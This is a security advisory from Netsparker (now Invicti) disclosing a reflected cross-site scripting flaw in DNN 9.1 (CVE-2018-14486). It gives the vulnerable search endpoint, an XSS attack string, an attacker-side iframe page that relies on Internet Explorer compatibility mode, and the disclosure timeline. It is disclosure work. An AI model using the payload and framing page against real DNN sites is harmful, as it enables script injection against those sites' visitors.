Cross-site Scripting via XML Vulnerability in DNN 9.1
Information
Advisory by Netsparker (now Invicti)
Name: Cross-site Scripting via XML Vulnerability in DNN 9.1
Affected Software: DNN
Affected Versions: 9.1
Homepage: http://dnnsoftware.com
Vulnerability: Cross-site Scripting via XML Vulnerability
Severity: High
Status: Not Fixed
CVE-ID: 2018-14486
CVSS Score (3.0): CVSS:3.0/VA:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-048
Technical Details
XSS via XML
URL: http://DNNWebsite/blog/API/internalservices/searchService/search?
Parameter Name: Query String
Parameter Type: Get
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00BA94)</scRipt>
Attacker`s Website:
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7">
</head>
<body>
<iframe src='http://www.victim.site/'></iframe>
</body>
</html>Victim’s DNN Website:
<messages>
<message>
TEst '"--></style></scRipt><scRipt>alert(0x00BA94)</scRipt>
</message>
</messages>Note: Attacker can execute payload on own Website with Iframe Element. Payload can be used only with Internet Explorer’s with Compatible Mode Option.
For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).
Advisory Timeline
16th January 2018- First Contact
1st Febuary 2018 – Technical Details Sent
9th January 2019 – Last Attempt to Contact
23rd January 2019 – Advisory Released
Credits & Authors
These issues have been discovered by Mustafa Yalçın while testing Invicti Web Application Security Scanner.
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